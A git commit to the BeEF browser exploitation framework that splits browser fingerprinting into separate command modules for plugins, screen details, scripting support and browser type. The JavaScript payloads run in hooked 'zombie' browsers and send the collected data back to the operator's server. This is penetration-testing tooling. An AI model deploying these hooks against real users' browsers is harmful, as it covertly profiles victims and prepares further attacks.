- Seperated browser details detection into seperate modules. [Issue #: 280]

git-svn-id: https://beef.googlecode.com/svn/trunk@808 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
a.m.saafan@gmail.com
2011-03-26 19:40:20 +00:00
parent ecd1e428b6
commit c87649450d
8 changed files with 301 additions and 21 deletions

View File

@@ -49,14 +49,8 @@ function serialize(_obj)
break;
}
}
var plugins = beef.browser.getPlugins();
var browser_type = serialize(beef.browser.type());
var java_enabled = (beef.browser.hasJava())? "Yes" : "No";
var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No";
var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
var has_googlegears = (beef.browser.hasGoogleGears())? "Yes" : "No";
var screen_params = serialize(beef.browser.getScreenParams());
var window_size = serialize(beef.browser.getWindowSize());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins+'&java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&has_googlegears='+has_googlegears+'&browser_type='+browser_type+'&screen_params='+screen_params+'&window_size='+window_size);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'browser_type='+browser_type);
});

View File

@@ -6,13 +6,12 @@ class Detect_details < BeEF::Command
def initialize
super({
'Name' => 'Browser Details',
'Name' => 'Browser Type',
'Description' => %Q{
This module will retrieve the selected zombie browser plugins, browser type
and scripting engines, plus screen dimensions.'
This module will retrieve the selected zombie browser details.'
},
'Category' => 'Browser',
'Author' => ['wade','vo','passbe'],
'Author' => ['wade','vo','passbe','saafan'],
'File' => __FILE__
})
@@ -27,14 +26,7 @@ class Detect_details < BeEF::Command
def callback
content = {}
content['Plugins'] = @datastore['plugins']
content['Browser type'] = @datastore['browser_type']
content['Java enabled'] = @datastore['java_enabled']
content['VBscript enabled'] = @datastore['vbscript_enabled']
content['Has Flash'] = @datastore['has_flash']
content['Has Google Gears'] = @datastore['has_googlegears']
content['Screen Parameters'] = @datastore['screen_params']
content['Window Size'] = @datastore['window_size']
content['Browser type'] = @datastore['browser_type']
save content
#update_zombie!

View File

@@ -0,0 +1,56 @@
beef.execute(function() {
function serialize(_obj)
{
// Let Gecko browsers do this the easy way
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
{
return _obj.toSource();
}
// Other browsers must do it the hard way
switch (typeof _obj)
{
// numbers, booleans, and functions are trivial:
// just return the object itself since its default .toString()
// gives us exactly what we want
case 'number':
case 'boolean':
case 'function':
return _obj;
break;
// for JSON format, strings need to be wrapped in quotes
case 'string':
return '\'' + _obj + '\'';
break;
case 'object':
var str;
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
{
str = '[';
var i, len = _obj.length;
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
str += serialize(_obj[i]) + ']';
}
else
{
str = '{';
var key;
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
str = str.replace(/\,$/, '') + '}';
}
return str;
break;
default:
return 'UNKNOWN';
break;
}
}
var plugins = beef.browser.getPlugins();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins);
});

View File

@@ -0,0 +1,39 @@
module BeEF
module Modules
module Commands
class Detect_plugins < BeEF::Command
def initialize
super({
'Name' => 'Installed Plugins',
'Description' => %Q{
This module will retrieve the selected zombie browser plugins.'
},
'Category' => 'Browser',
'Author' => ['wade','vo','passbe','saafan'],
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use 'beef.dom'
use_template!
end
def callback
content = {}
content['Plugins'] = @datastore['plugins']
save content
#update_zombie!
end
end
end
end
end

View File

@@ -0,0 +1,57 @@
beef.execute(function() {
function serialize(_obj)
{
// Let Gecko browsers do this the easy way
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
{
return _obj.toSource();
}
// Other browsers must do it the hard way
switch (typeof _obj)
{
// numbers, booleans, and functions are trivial:
// just return the object itself since its default .toString()
// gives us exactly what we want
case 'number':
case 'boolean':
case 'function':
return _obj;
break;
// for JSON format, strings need to be wrapped in quotes
case 'string':
return '\'' + _obj + '\'';
break;
case 'object':
var str;
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
{
str = '[';
var i, len = _obj.length;
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
str += serialize(_obj[i]) + ']';
}
else
{
str = '{';
var key;
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
str = str.replace(/\,$/, '') + '}';
}
return str;
break;
default:
return 'UNKNOWN';
break;
}
}
var screen_params = serialize(beef.browser.getScreenParams());
var window_size = serialize(beef.browser.getWindowSize());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'screen_params='+screen_params+'&window_size='+window_size);
});

View File

@@ -0,0 +1,40 @@
module BeEF
module Modules
module Commands
class Detect_screen_details < BeEF::Command
def initialize
super({
'Name' => 'Screen Details',
'Description' => %Q{
This module will retrieve the selected zombie screen dimensions.'
},
'Category' => 'Browser',
'Author' => ['wade','vo','passbe','saafan'],
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use 'beef.dom'
use_template!
end
def callback
content = {}
content['Screen Parameters'] = @datastore['screen_params']
content['Window Size'] = @datastore['window_size']
save content
#update_zombie!
end
end
end
end
end

View File

@@ -0,0 +1,60 @@
beef.execute(function() {
function serialize(_obj)
{
// Let Gecko browsers do this the easy way
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
{
return _obj.toSource();
}
// Other browsers must do it the hard way
switch (typeof _obj)
{
// numbers, booleans, and functions are trivial:
// just return the object itself since its default .toString()
// gives us exactly what we want
case 'number':
case 'boolean':
case 'function':
return _obj;
break;
// for JSON format, strings need to be wrapped in quotes
case 'string':
return '\'' + _obj + '\'';
break;
case 'object':
var str;
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
{
str = '[';
var i, len = _obj.length;
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
str += serialize(_obj[i]) + ']';
}
else
{
str = '{';
var key;
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
str = str.replace(/\,$/, '') + '}';
}
return str;
break;
default:
return 'UNKNOWN';
break;
}
}
var java_enabled = (beef.browser.hasJava())? "Yes" : "No";
var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No";
var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
var has_googlegears = (beef.browser.hasGoogleGears())? "Yes" : "No";
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&has_googlegears='+has_googlegears);
});

View File

@@ -0,0 +1,42 @@
module BeEF
module Modules
module Commands
class Detect_scripts_support < BeEF::Command
def initialize
super({
'Name' => 'Scripts Support',
'Description' => %Q{
This module will retrieve the selected zombie browser scripting engines.'
},
'Category' => 'Browser',
'Author' => ['wade','vo','passbe','saafan'],
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use 'beef.dom'
use_template!
end
def callback
content = {}
content['Java enabled'] = @datastore['java_enabled']
content['VBscript enabled'] = @datastore['vbscript_enabled']
content['Has Flash'] = @datastore['has_flash']
content['Has Google Gears'] = @datastore['has_googlegears']
save content
#update_zombie!
end
end
end
end
end